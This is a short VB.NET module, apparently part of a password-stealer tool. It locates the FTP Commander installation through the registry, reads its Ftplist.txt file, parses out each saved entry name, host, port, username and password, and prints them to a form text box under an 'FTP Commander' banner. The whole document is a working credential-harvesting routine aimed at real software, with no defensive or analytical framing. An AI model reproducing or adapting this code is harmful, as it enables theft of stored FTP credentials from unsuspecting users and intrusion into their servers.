Module FTPCommander
    Function FtpCommander() As String
        Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
        Dim sFile As String = ReadLine(sPath, -1)
        Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
        Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
        Dim sUser As String = Cut(sFile, ";User=", ";Anonymous=")
        Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
        Dim sEntry As String = Cut(sFile, "Name=", ";Server=")

        If Not sUser = "" Then
            Try
                FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============FTP Commander==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
            End Try
        Else
        End If
    End Function
End Module
